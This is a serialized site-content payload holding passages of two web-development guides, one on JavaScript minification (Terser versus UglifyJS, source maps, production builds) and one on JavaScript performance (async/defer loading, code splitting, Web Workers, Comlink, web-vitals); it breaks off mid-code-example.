options)",[199,134903,134904,134909,134911],{},[216,134905,134906],{},[47,134907,134908],{},"Tree shaking hints",[216,134910,6117],{},[216,134912,3057],{},[199,134914,134915,134919,134921],{},[216,134916,134917],{},[47,134918,50208],{},[216,134920,3057],{},[216,134922,3057],{},[199,134924,134925,134930,134932],{},[216,134926,134927],{},[47,134928,134929],{},"Compress toggles",[216,134931,50140],{},[216,134933,134934],{},"Granular",[16,134936,134937,134939,134940,1459,134942,134944],{},[47,134938,134861],{}," was the standard for years but has largely stagnated. It does not fully support ES6+ syntax — code using ",[143,134941,8180],{},[143,134943,41680],{},", arrow functions, or template literals may require transpilation first.",[16,134946,134947,134949],{},[47,134948,134864],{}," forked from UglifyJS in 2018 and now receives regular updates. It handles modern JavaScript natively and offers finer control over compression passes.",[16,134951,134952,134954],{},[47,134953,49059],{},": Use Terser unless you have a legacy ES5-only codebase with an existing UglifyJS setup. Most bundlers (Webpack, Vite, Rollup) default to Terser or use it under the hood.",[11,134956,69587],{"id":69586},[16,134958,134959,134960,134963],{},"Minification belongs in the ",[47,134961,134962],{},"production build only",". During development, you need readable code, accurate line numbers, and fast rebuilds.",[193,134965,134966,134976],{},[196,134967,134968],{},[199,134969,134970,134972,134974],{},[202,134971],{},[202,134973,69610],{},[202,134975,69636],{},[211,134977,134978,134990,135002,135012],{},[199,134979,134980,134984,134987],{},[216,134981,134982],{},[47,134983,69519],{},[216,134985,134986],{},"Off",[216,134988,134989],{},"On",[199,134991,134992,134996,134999],{},[216,134993,134994],{},[47,134995,50208],{},[216,134997,134998],{},"cheap-module-source-map",[216,135000,135001],{},"hidden-source-map",[199,135003,135004,135008,135010],{},[216,135005,135006],{},[47,135007,134896],{},[216,135009,134986],{},[216,135011,134989],{},[199,135013,135014,135018,135021],{},[216,135015,135016],{},[47,135017,36954],{},[216,135019,135020],{},"Preserved",[216,135022,126164],{},[16,135024,135025,135026,135028,135029,135032,135033,135036],{},"Most bundlers make this easy. In Vite, minification is automatic for ",[143,135027,134231],{}," mode and skipped for ",[143,135030,135031],{},"serve"," mode. In Webpack, ",[143,135034,135035],{},"mode: 'production'"," enables Terser by default.",[16,135038,135039],{},"Never debug minified code directly — rely on source maps instead. And never ship development builds to production; the size difference can be 2–3×.",[11,135041,135043],{"id":135042},"performance-impact","Performance Impact",[16,135045,135046],{},"Minification is not just about disk space. Smaller files mean:",[41,135048,135049,135055,135061,135067],{},[44,135050,135051,135054],{},[47,135052,135053],{},"Faster download"," — especially on mobile networks where every kilobyte counts",[44,135056,135057,135060],{},[47,135058,135059],{},"Faster parse and compile"," — the JavaScript engine processes fewer tokens",[44,135062,135063,135066],{},[47,135064,135065],{},"Lower memory usage"," — shorter identifier names reduce heap allocation",[44,135068,135069,135072],{},[47,135070,135071],{},"Better cache efficiency"," — smaller files fit more easily into caching layers",[16,135074,135075],{},"For a site loading 500 KB of JavaScript, minification alone can shave 200–300 KB. Combined with compression (gzip or Brotli), the total savings often exceed 70%.",[11,135077,2341],{"id":2340},[41,135079,135080,135086,135092,135105],{},[44,135081,135082,135085],{},[47,135083,135084],{},"Minifying server-side code"," — Node.js does not benefit from minified files; disk space is cheap, and debugging is hard",[44,135087,135088,135091],{},[47,135089,135090],{},"Forgetting to generate source maps"," — you will regret this the moment a production bug appears",[44,135093,135094,135097,135098,1531,135101,135104],{},[47,135095,135096],{},"Relying on variable names for logic"," — if your code depends on ",[143,135099,135100],{},"constructor.name",[143,135102,135103],{},"Function.prototype.toString",", mangling will break it",[44,135106,135107,135110],{},[47,135108,135109],{},"Minifying without testing"," — always run your test suite against the minified build before deploying",[11,135112,1355],{"id":1354},[41,135114,135115,135118,135121,135124,135127],{},[44,135116,135117],{},"Minification combines whitespace removal and variable mangling to cut JavaScript size by 30–60%",[44,135119,135120],{},"Always generate source maps and keep them accessible for debugging production errors",[44,135122,135123],{},"Use Terser over UglifyJS for modern ES6+ codebases",[44,135125,135126],{},"Minify only in production builds — development needs readable code",[44,135128,135129],{},"Pair minification with gzip\u002FBrotli compression for maximum savings",[11,135131,286],{"id":285},[16,135133,135134,135135,135137],{},"See minification in action with our free ",[98,135136,133828],{"href":133827},". Paste your code, compare the before and after, and check the size savings — all in your browser with no data sent to any server.",[11,135139,321],{"id":320},[41,135141,135142,135147,135154],{},[44,135143,135144,135146],{},[98,135145,133813],{"href":133812}," — How dead code elimination complements minification for even smaller bundles",[44,135148,135149,135153],{},[98,135150,135152],{"href":135151},"\u002Fguides\u002Fjs-performance-optimization","JavaScript Performance Optimization"," — Strategies for faster loading, parsing, and executing JavaScript",[44,135155,135156,135158],{},[98,135157,21351],{"href":21350}," — Apply the same size-reduction principles to your stylesheets",[2043,135160,135161],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":135163},[135164,135165,135170,135171,135172,135173,135174,135175,135176,135177],{"id":134480,"depth":337,"text":134481},{"id":134490,"depth":337,"text":134491,"children":135166},[135167,135168,135169],{"id":134497,"depth":343,"text":134498},{"id":134635,"depth":343,"text":134636},{"id":134705,"depth":343,"text":134706},{"id":134740,"depth":337,"text":134741},{"id":134846,"depth":337,"text":134847},{"id":69586,"depth":337,"text":69587},{"id":135042,"depth":337,"text":135043},{"id":2340,"depth":337,"text":2341},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn how JavaScript minification reduces file size by stripping whitespace, removing comments, and shortening variable names for faster pages.",{"immutable":363},{"title":133807,"description":135178},"guides\u002Fjs-minification-guide","XkozscXJfDAzraGMcqMaJLYu7paBJobcTm1dzT4JS3E",{"id":135184,"title":135185,"body":135186,"date":2070,"description":136371,"extension":361,"meta":136372,"navigation":363,"path":135151,"readingTime":1717,"seo":136373,"stem":136374,"__hash__":136375},"guides\u002Fguides\u002Fjs-performance-optimization.md","JavaScript Performance Optimization: Loading, Parsing, and Executing",{"type":8,"value":135187,"toc":136342},[135188,135192,135195,135198,135202,135208,135212,135235,135238,135244,135247,135273,135276,135281,135285,135311,135314,135319,135323,135352,135361,135435,135439,135442,135446,135481,135485,135518,135524,135528,135531,135535,135625,135628,135632,135733,135742,135746,135749,135826,135830,135836,135961,135967,135981,135985,135996,136067,136071,136074,136076,136094,136098,136175,136178,136181,136184,136253,136256,136260,136287,136289,136311,136313,136320,136322,136340],[11,135189,135191],{"id":135190},"why-javascript-performance-matters","Why JavaScript Performance Matters",[16,135193,135194],{},"JavaScript is the most expensive resource your page loads. Unlike images that decode progressively, JavaScript must be downloaded, parsed, compiled, and executed before it does anything. On mobile devices, parsing 200 KB of JavaScript can take longer than downloading 1 MB of images.",[16,135196,135197],{},"Every millisecond of blocked main-thread time delays interactivity. Google's Core Web Vitals — specifically Interaction to Next Paint (INP) — directly measure how quickly your page responds to user input. Slow JavaScript is the most common cause of poor INP scores.",[11,135199,135201],{"id":135200},"loading-strategies","Loading Strategies",[16,135203,135204,135205,135207],{},"How you include a ",[143,135206,34727],{}," tag determines when the browser downloads and executes it. Choose the right strategy for each script.",[33,135209,135211],{"id":135210},"default-blocking","Default Blocking",[135,135213,135215],{"className":6417,"code":135214,"language":6419,"meta":141,"style":141},"\u003Cscript src=\"app.js\">\u003C\u002Fscript>\n",[143,135216,135217],{"__ignoreMap":141},[1560,135218,135219,135221,135223,135225,135227,135229,135231,135233],{"class":1562,"line":1563},[1560,135220,6431],{"class":1570},[1560,135222,11475],{"class":2484},[1560,135224,10631],{"class":1566},[1560,135226,7297],{"class":1570},[1560,135228,134796],{"class":5634},[1560,135230,12441],{"class":1570},[1560,135232,11475],{"class":2484},[1560,135234,6441],{"class":1570},[16,135236,135237],{},"The browser stops parsing HTML, downloads the script, and executes it before continuing. This creates a visible pause — the page appears blank until the script finishes.",[16,135239,135240,135243],{},[47,135241,135242],{},"Use for",": Nothing, realistically. Default scripts rarely make sense in modern pages.",[33,135245,135246],{"id":82166},"Async",[135,135248,135250],{"className":6417,"code":135249,"language":6419,"meta":141,"style":141},"\u003Cscript src=\"analytics.js\" async>\u003C\u002Fscript>\n",[143,135251,135252],{"__ignoreMap":141},[1560,135253,135254,135256,135258,135260,135262,135265,135267,135269,135271],{"class":1562,"line":1563},[1560,135255,6431],{"class":1570},[1560,135257,11475],{"class":2484},[1560,135259,10631],{"class":1566},[1560,135261,7297],{"class":1570},[1560,135263,135264],{"class":5634},"\"analytics.js\"",[1560,135266,110900],{"class":1566},[1560,135268,12441],{"class":1570},[1560,135270,11475],{"class":2484},[1560,135272,6441],{"class":1570},[16,135274,135275],{},"The browser downloads the script in parallel with HTML parsing. Once downloaded, it pauses parsing to execute. Multiple async scripts execute in whatever order they finish downloading — not necessarily the order they appear in HTML.",[16,135277,135278,135280],{},[47,135279,135242],{},": Independent scripts like analytics, ads, or chat widgets that do not depend on your application code.",[33,135282,135284],{"id":135283},"defer","Defer",[135,135286,135288],{"className":6417,"code":135287,"language":6419,"meta":141,"style":141},"\u003Cscript src=\"app.js\" defer>\u003C\u002Fscript>\n",[143,135289,135290],{"__ignoreMap":141},[1560,135291,135292,135294,135296,135298,135300,135302,135305,135307,135309],{"class":1562,"line":1563},[1560,135293,6431],{"class":1570},[1560,135295,11475],{"class":2484},[1560,135297,10631],{"class":1566},[1560,135299,7297],{"class":1570},[1560,135301,134796],{"class":5634},[1560,135303,135304],{"class":1566}," defer",[1560,135306,12441],{"class":1570},[1560,135308,11475],{"class":2484},[1560,135310,6441],{"class":1570},[16,135312,135313],{},"The browser downloads the script in parallel with HTML parsing but waits until parsing finishes before executing. Deferred scripts run in document order.",[16,135315,135316,135318],{},[47,135317,135242],{},": Application code that needs the DOM ready but does not need to block rendering.",[33,135320,135322],{"id":135321},"es-module-scripts","ES Module Scripts",[135,135324,135326],{"className":6417,"code":135325,"language":6419,"meta":141,"style":141},"\u003Cscript type=\"module\" src=\"app.js\">\u003C\u002Fscript>\n",[143,135327,135328],{"__ignoreMap":141},[1560,135329,135330,135332,135334,135336,135338,135340,135342,135344,135346,135348,135350],{"class":1562,"line":1563},[1560,135331,6431],{"class":1570},[1560,135333,11475],{"class":2484},[1560,135335,125336],{"class":1566},[1560,135337,7297],{"class":1570},[1560,135339,125341],{"class":5634},[1560,135341,10631],{"class":1566},[1560,135343,7297],{"class":1570},[1560,135345,134796],{"class":5634},[1560,135347,12441],{"class":1570},[1560,135349,11475],{"class":2484},[1560,135351,6441],{"class":1570},[16,135353,135354,135355,135357,135358,135360],{},"Module scripts behave like ",[143,135356,135283],{}," by default — they download in parallel and execute after parsing. Adding ",[143,135359,82166],{}," to a module script means it executes as soon as it downloads, useful for modules that are truly independent.",[193,135362,135363,135378],{},[196,135364,135365],{},[199,135366,135367,135370,135373,135376],{},[202,135368,135369],{},"Attribute",[202,135371,135372],{},"Downloads",[202,135374,135375],{},"Executes",[202,135377,14171],{},[211,135379,135380,135394,135409,135422],{},[199,135381,135382,135385,135388,135391],{},[216,135383,135384],{},"(none)",[216,135386,135387],{},"Blocks HTML",[216,135389,135390],{},"Immediately",[216,135392,135393],{},"Document order",[199,135395,135396,135400,135403,135406],{},[216,135397,135398],{},[143,135399,82166],{},[216,135401,135402],{},"Parallel",[216,135404,135405],{},"When ready",[216,135407,135408],{},"Download order",[199,135410,135411,135415,135417,135420],{},[216,135412,135413],{},[143,135414,135283],{},[216,135416,135402],{},[216,135418,135419],{},"After parse",[216,135421,135393],{},[199,135423,135424,135429,135431,135433],{},[216,135425,135426],{},[143,135427,135428],{},"type=\"module\"",[216,135430,135402],{},[216,135432,135419],{},[216,135434,135393],{},[11,135436,135438],{"id":135437},"parsing-and-compilation","Parsing and Compilation",[16,135440,135441],{},"V8 (Chrome), SpiderMonkey (Firefox), and JavaScriptCore (Safari) all parse and compile JavaScript before executing it. This cost is proportional to script size.",[33,135443,135445],{"id":135444},"reduce-parse-heavy-code","Reduce Parse-Heavy Code",[41,135447,135448,135460,135475],{},[44,135449,135450,109587,135453,12674,135456,135459],{},[47,135451,135452],{},"Avoid large polyfills",[143,135454,135455],{},"@babel\u002Fpreset-env",[143,135457,135458],{},"useBuiltIns: 'usage'"," to include only what you need",[44,135461,135462,23567,135465,1459,135468,1466,135471,135474],{},[47,135463,135464],{},"Prefer native APIs",[143,135466,135467],{},"Array.prototype.at()",[143,135469,135470],{},"structuredClone()",[143,135472,135473],{},"Intl.Segmenter"," reduce the need for libraries",[44,135476,135477,135480],{},[47,135478,135479],{},"Lazy-load non-critical code"," — code-split below-the-fold features so the initial parse is smaller",[33,135482,135484],{"id":135483},"preload-critical-scripts","Preload Critical Scripts",[135,135486,135488],{"className":6417,"code":135487,"language":6419,"meta":141,"style":141},"\u003Clink rel=\"preload\" href=\"critical.js\" as=\"script\" \u002F>\n",[143,135489,135490],{"__ignoreMap":141},[1560,135491,135492,135494,135496,135498,135500,135502,135504,135506,135509,135511,135513,135516],{"class":1562,"line":1563},[1560,135493,6431],{"class":1570},[1560,135495,40993],{"class":2484},[1560,135497,40996],{"class":1566},[1560,135499,7297],{"class":1570},[1560,135501,41209],{"class":5634},[1560,135503,41004],{"class":1566},[1560,135505,7297],{"class":1570},[1560,135507,135508],{"class":5634},"\"critical.js\"",[1560,135510,41218],{"class":1566},[1560,135512,7297],{"class":1570},[1560,135514,135515],{"class":5634},"\"script\"",[1560,135517,124341],{"class":1570},[16,135519,135520,135521,135523],{},"Preloading tells the browser to start downloading early, before it discovers the ",[143,135522,34727],{}," tag in the HTML. This is useful for scripts injected dynamically or loaded from a different origin.",[11,135525,135527],{"id":135526},"code-splitting","Code Splitting",[16,135529,135530],{},"Code splitting breaks your bundle into smaller chunks loaded on demand. Instead of shipping 500 KB upfront, you send 100 KB immediately and load the rest when the user navigates to a new section.",[33,135532,135534],{"id":135533},"route-based-splitting","Route-Based Splitting",[135,135536,135538],{"className":1607,"code":135537,"language":1609,"meta":141,"style":141},"\u002F\u002F Vite \u002F Vue Router\nconst routes = [\n  {\n    path: '\u002Fdashboard',\n    component: () => import('.\u002Fviews\u002FDashboard.vue'),\n  },\n  {\n    path: '\u002Fsettings',\n    component: () => import('.\u002Fviews\u002FSettings.vue'),\n  },\n];\n",[143,135539,135540,135545,135555,135559,135567,135584,135588,135592,135600,135617,135621],{"__ignoreMap":141},[1560,135541,135542],{"class":1562,"line":1563},[1560,135543,135544],{"class":1649},"\u002F\u002F Vite \u002F Vue Router\n",[1560,135546,135547,135549,135551,135553],{"class":1562,"line":337},[1560,135548,8180],{"class":1669},[1560,135550,133457],{"class":1576},[1560,135552,8186],{"class":1669},[1560,135554,39111],{"class":1570},[1560,135556,135557],{"class":1562,"line":343},[1560,135558,80605],{"class":1570},[1560,135560,135561,135563,135565],{"class":1562,"line":365},[1560,135562,133470],{"class":1570},[1560,135564,133473],{"class":5634},[1560,135566,11943],{"class":1570},[1560,135568,135569,135571,135573,135575,135577,135579,135582],{"class":1562,"line":889},[1560,135570,133480],{"class":1566},[1560,135572,38359],{"class":1570},[1560,135574,11503],{"class":1669},[1560,135576,38276],{"class":1669},[1560,135578,1688],{"class":1570},[1560,135580,135581],{"class":5634},"'.\u002Fviews\u002FDashboard.vue'",[1560,135583,19216],{"class":1570},[1560,135585,135586],{"class":1562,"line":1710},[1560,135587,11862],{"class":1570},[1560,135589,135590],{"class":1562,"line":1717},[1560,135591,80605],{"class":1570},[1560,135593,135594,135596,135598],{"class":1562,"line":1747},[1560,135595,133470],{"class":1570},[1560,135597,133508],{"class":5634},[1560,135599,11943],{"class":1570},[1560,135601,135602,135604,135606,135608,135610,135612,135615],{"class":1562,"line":2507},[1560,135603,133480],{"class":1566},[1560,135605,38359],{"class":1570},[1560,135607,11503],{"class":1669},[1560,135609,38276],{"class":1669},[1560,135611,1688],{"class":1570},[1560,135613,135614],{"class":5634},"'.\u002Fviews\u002FSettings.vue'",[1560,135616,19216],{"class":1570},[1560,135618,135619],{"class":1562,"line":2524},[1560,135620,11862],{"class":1570},[1560,135622,135623],{"class":1562,"line":2529},[1560,135624,13502],{"class":1570},[16,135626,135627],{},"Each route becomes a separate chunk. The user only downloads the code for the page they visit.",[33,135629,135631],{"id":135630},"component-based-splitting","Component-Based Splitting",[135,135633,135635],{"className":1607,"code":135634,"language":1609,"meta":141,"style":141},"\u002F\u002F React\nconst HeavyChart = lazy(() => import('.\u002Fcomponents\u002FHeavyChart'));\n\nfunction App() {\n  return (\n    \u003CSuspense fallback={\u003CSpinner \u002F>}>\n      \u003CHeavyChart \u002F>\n    \u003C\u002FSuspense>\n  );\n}\n",[143,135636,135637,135642,135668,135672,135681,135688,135708,135717,135725,135729],{"__ignoreMap":141},[1560,135638,135639],{"class":1562,"line":1563},[1560,135640,135641],{"class":1649},"\u002F\u002F React\n",[1560,135643,135644,135646,135649,135651,135654,135657,135659,135661,135663,135666],{"class":1562,"line":337},[1560,135645,8180],{"class":1669},[1560,135647,135648],{"class":1576}," HeavyChart",[1560,135650,8186],{"class":1669},[1560,135652,135653],{"class":1566}," lazy",[1560,135655,135656],{"class":1570},"(() ",[1560,135658,11503],{"class":1669},[1560,135660,38276],{"class":1669},[1560,135662,1688],{"class":1570},[1560,135664,135665],{"class":5634},"'.\u002Fcomponents\u002FHeavyChart'",[1560,135667,41941],{"class":1570},[1560,135669,135670],{"class":1562,"line":343},[1560,135671,1702],{"emptyLinePlaceholder":363},[1560,135673,135674,135676,135679],{"class":1562,"line":365},[1560,135675,8648],{"class":1669},[1560,135677,135678],{"class":1566}," App",[1560,135680,8654],{"class":1570},[1560,135682,135683,135685],{"class":1562,"line":889},[1560,135684,9350],{"class":1669},[1560,135686,135687],{"class":1570}," (\n",[1560,135689,135690,135692,135695,135697,135699,135702,135705],{"class":1562,"line":1710},[1560,135691,12292],{"class":1570},[1560,135693,135694],{"class":1576},"Suspense",[1560,135696,54224],{"class":1566},[1560,135698,7297],{"class":1669},[1560,135700,135701],{"class":1570},"{\u003C",[1560,135703,135704],{"class":1576},"Spinner",[1560,135706,135707],{"class":1570}," \u002F>}>\n",[1560,135709,135710,135712,135715],{"class":1562,"line":1717},[1560,135711,124434],{"class":1570},[1560,135713,135714],{"class":1576},"HeavyChart",[1560,135716,124341],{"class":1570},[1560,135718,135719,135721,135723],{"class":1562,"line":1747},[1560,135720,124461],{"class":1570},[1560,135722,135694],{"class":1576},[1560,135724,6441],{"class":1570},[1560,135726,135727],{"class":1562,"line":2507},[1560,135728,36075],{"class":1570},[1560,135730,135731],{"class":1562,"line":2524},[1560,135732,1585],{"class":1570},[16,135734,135735,135736,1856,135739,135741],{},"Wrap heavy components — charts, editors, video players — in ",[143,135737,135738],{},"lazy()",[143,135740,135694],{},". They load only when rendered.",[33,135743,135745],{"id":135744},"vendor-splitting","Vendor Splitting",[16,135747,135748],{},"Separate third-party libraries into their own chunk. These change less frequently than your application code, so they stay cached longer between deployments.",[135,135750,135752],{"className":1607,"code":135751,"language":1609,"meta":141,"style":141},"\u002F\u002F Vite\nexport default {\n  build: {\n    rollupOptions: {\n      output: {\n        manualChunks: {\n          vendor: ['vue', 'vue-router', 'pinia'],\n        },\n      },\n    },\n  },\n};\n",[143,135753,135754,135759,135767,135771,135776,135781,135786,135806,135810,135814,135818,135822],{"__ignoreMap":141},[1560,135755,135756],{"class":1562,"line":1563},[1560,135757,135758],{"class":1649},"\u002F\u002F Vite\n",[1560,135760,135761,135763,135765],{"class":1562,"line":337},[1560,135762,9187],{"class":1669},[1560,135764,11837],{"class":1669},[1560,135766,1571],{"class":1570},[1560,135768,135769],{"class":1562,"line":343},[1560,135770,11844],{"class":1570},[1560,135772,135773],{"class":1562,"line":365},[1560,135774,135775],{"class":1570},"    rollupOptions: {\n",[1560,135777,135778],{"class":1562,"line":889},[1560,135779,135780],{"class":1570},"      output: {\n",[1560,135782,135783],{"class":1562,"line":1710},[1560,135784,135785],{"class":1570},"        manualChunks: {\n",[1560,135787,135788,135791,135794,135796,135799,135801,135804],{"class":1562,"line":1717},[1560,135789,135790],{"class":1570},"          vendor: [",[1560,135792,135793],{"class":5634},"'vue'",[1560,135795,1459],{"class":1570},[1560,135797,135798],{"class":5634},"'vue-router'",[1560,135800,1459],{"class":1570},[1560,135802,135803],{"class":5634},"'pinia'",[1560,135805,12044],{"class":1570},[1560,135807,135808],{"class":1562,"line":1747},[1560,135809,20786],{"class":1570},[1560,135811,135812],{"class":1562,"line":2507},[1560,135813,11976],{"class":1570},[1560,135815,135816],{"class":1562,"line":2524},[1560,135817,17600],{"class":1570},[1560,135819,135820],{"class":1562,"line":2529},[1560,135821,11862],{"class":1570},[1560,135823,135824],{"class":1562,"line":2534},[1560,135825,6607],{"class":1570},[11,135827,135829],{"id":135828},"web-workers","Web Workers",[16,135831,135832,135833,135835],{},"JavaScript runs on a single main thread. When a complex calculation blocks that thread, the page freezes. ",[47,135834,135829],{}," move expensive work to a background thread.",[135,135837,135839],{"className":1607,"code":135838,"language":1609,"meta":141,"style":141},"\u002F\u002F main.js\nconst worker = new Worker('processor.js');\n\nworker.postMessage({ data: largeDataset });\nworker.onmessage = (event) => {\n  renderResults(event.data);\n};\n\n\u002F\u002F processor.js\nself.onmessage = (event) => {\n  const result = heavyComputation(event.data);\n  self.postMessage(result);\n};\n",[143,135840,135841,135845,135864,135868,135877,135896,135904,135908,135912,135917,135935,135948,135957],{"__ignoreMap":141},[1560,135842,135843],{"class":1562,"line":1563},[1560,135844,110749],{"class":1649},[1560,135846,135847,135849,135851,135853,135855,135857,135859,135862],{"class":1562,"line":337},[1560,135848,8180],{"class":1669},[1560,135850,110756],{"class":1576},[1560,135852,8186],{"class":1669},[1560,135854,11489],{"class":1669},[1560,135856,110763],{"class":1566},[1560,135858,1688],{"class":1570},[1560,135860,135861],{"class":5634},"'processor.js'",[1560,135863,1744],{"class":1570},[1560,135865,135866],{"class":1562,"line":343},[1560,135867,1702],{"emptyLinePlaceholder":363},[1560,135869,135870,135872,135874],{"class":1562,"line":365},[1560,135871,110779],{"class":1570},[1560,135873,110782],{"class":1566},[1560,135875,135876],{"class":1570},"({ data: largeDataset });\n",[1560,135878,135879,135881,135883,135885,135887,135890,135892,135894],{"class":1562,"line":889},[1560,135880,110779],{"class":1570},[1560,135882,110792],{"class":1566},[1560,135884,8186],{"class":1669},[1560,135886,5181],{"class":1570},[1560,135888,135889],{"class":2219},"event",[1560,135891,1733],{"class":1570},[1560,135893,11503],{"class":1669},[1560,135895,1571],{"class":1570},[1560,135897,135898,135901],{"class":1562,"line":1710},[1560,135899,135900],{"class":1566},"  renderResults",[1560,135902,135903],{"class":1570},"(event.data);\n",[1560,135905,135906],{"class":1562,"line":1717},[1560,135907,6607],{"class":1570},[1560,135909,135910],{"class":1562,"line":1747},[1560,135911,1702],{"emptyLinePlaceholder":363},[1560,135913,135914],{"class":1562,"line":2507},[1560,135915,135916],{"class":1649},"\u002F\u002F processor.js\n",[1560,135918,135919,135921,135923,135925,135927,135929,135931,135933],{"class":1562,"line":2524},[1560,135920,110893],{"class":1570},[1560,135922,110792],{"class":1566},[1560,135924,8186],{"class":1669},[1560,135926,5181],{"class":1570},[1560,135928,135889],{"class":2219},[1560,135930,1733],{"class":1570},[1560,135932,11503],{"class":1669},[1560,135934,1571],{"class":1570},[1560,135936,135937,135939,135941,135943,135946],{"class":1562,"line":2529},[1560,135938,28057],{"class":1669},[1560,135940,80830],{"class":1576},[1560,135942,8186],{"class":1669},[1560,135944,135945],{"class":1566}," heavyComputation",[1560,135947,135903],{"class":1570},[1560,135949,135950,135952,135954],{"class":1562,"line":2534},[1560,135951,110993],{"class":1570},[1560,135953,110782],{"class":1566},[1560,135955,135956],{"class":1570},"(result);\n",[1560,135958,135959],{"class":1562,"line":2542},[1560,135960,6607],{"class":1570},[16,135962,135963,135964,135966],{},"Workers cannot access the DOM directly — they communicate through ",[143,135965,110782],{},". Use them for:",[41,135968,135969,135972,135975,135978],{},[44,135970,135971],{},"JSON parsing of large payloads (10 MB+)",[44,135973,135974],{},"Image or audio processing",[44,135976,135977],{},"Cryptographic operations",[44,135979,135980],{},"Data transformations and sorting",[33,135982,135984],{"id":135983},"comlink-a-simpler-worker-api","Comlink: A Simpler Worker API",[16,135986,421,135987,135992,135993,135995],{},[98,135988,135991],{"href":135989,"rel":135990},"https:\u002F\u002Fgithub.com\u002FGoogleChromeLabs\u002Fcomlink",[14956],"Comlink"," library abstracts ",[143,135994,110782],{}," behind a clean async interface:",[135,135997,135999],{"className":1607,"code":135998,"language":1609,"meta":141,"style":141},"import * as Comlink from 'comlink';\n\nconst worker = Comlink.wrap(new Worker('processor.js'));\nconst result = await worker.heavyComputation(data);\n",[143,136000,136001,136019,136023,136048],{"__ignoreMap":141},[1560,136002,136003,136005,136007,136009,136012,136014,136017],{"class":1562,"line":1563},[1560,136004,8162],{"class":1669},[1560,136006,8064],{"class":1576},[1560,136008,41218],{"class":1669},[1560,136010,136011],{"class":1570}," Comlink ",[1560,136013,8168],{"class":1669},[1560,136015,136016],{"class":5634}," 'comlink'",[1560,136018,2228],{"class":1570},[1560,136020,136021],{"class":1562,"line":337},[1560,136022,1702],{"emptyLinePlaceholder":363},[1560,136024,136025,136027,136029,136031,136034,136036,136038,136040,136042,136044,136046],{"class":1562,"line":343},[1560,136026,8180],{"class":1669},[1560,136028,110756],{"class":1576},[1560,136030,8186],{"class":1669},[1560,136032,136033],{"class":1570}," Comlink.",[1560,136035,32411],{"class":1566},[1560,136037,1688],{"class":1570},[1560,136039,20807],{"class":1669},[1560,136041,110763],{"class":1566},[1560,136043,1688],{"class":1570},[1560,136045,135861],{"class":5634},[1560,136047,41941],{"class":1570},[1560,136049,136050,136052,136054,136056,136058,136061,136064],{"class":1562,"line":365},[1560,136051,8180],{"class":1669},[1560,136053,80830],{"class":1576},[1560,136055,8186],{"class":1669},[1560,136057,28065],{"class":1669},[1560,136059,136060],{"class":1570}," worker.",[1560,136062,136063],{"class":1566},"heavyComputation",[1560,136065,136066],{"class":1570},"(data);\n",[11,136068,136070],{"id":136069},"performance-monitoring","Performance Monitoring",[16,136072,136073],{},"You cannot optimize what you do not measure. Use these tools to identify bottlenecks.",[33,136075,4443],{"id":69277},[41,136077,136078,136083,136089],{},[44,136079,136080,136082],{},[47,136081,77863],{},": Record a trace to see main-thread activity, scripting time, and layout shifts",[44,136084,136085,136088],{},[47,136086,136087],{},"Coverage tab",": Find JavaScript that loads but never executes — prime candidates for code splitting",[44,136090,136091,136093],{},[47,136092,40335],{},": Audit your page for performance, accessibility, and SEO scores",[33,136095,136097],{"id":136096},"web-vitals-library","Web Vitals Library",[135,136099,136101],{"className":1607,"code":136100,"language":1609,"meta":141,"style":141},"import { onINP, onLCP, onCLS } from 'web-vitals';\n\nonINP((metric) => reportToAnalytics(metric));\nonLCP((metric) => reportToAnalytics(metric));\nonCLS((metric) => reportToAnalytics(metric));\n",[143,136102,136103,136117,136121,136141,136158],{"__ignoreMap":141},[1560,136104,136105,136107,136110,136112,136115],{"class":1562,"line":1563},[1560,136106,8162],{"class":1669},[1560,136108,136109],{"class":1570}," { onINP, onLCP, onCLS } ",[1560,136111,8168],{"class":1669},[1560,136113,136114],{"class":5634}," 'web-vitals'",[1560,136116,2228],{"class":1570},[1560,136118,136119],{"class":1562,"line":337},[1560,136120,1702],{"emptyLinePlaceholder":363},[1560,136122,136123,136126,136128,136131,136133,136135,136138],{"class":1562,"line":343},[1560,136124,136125],{"class":1566},"onINP",[1560,136127,11495],{"class":1570},[1560,136129,136130],{"class":2219},"metric",[1560,136132,1733],{"class":1570},[1560,136134,11503],{"class":1669},[1560,136136,136137],{"class":1566}," 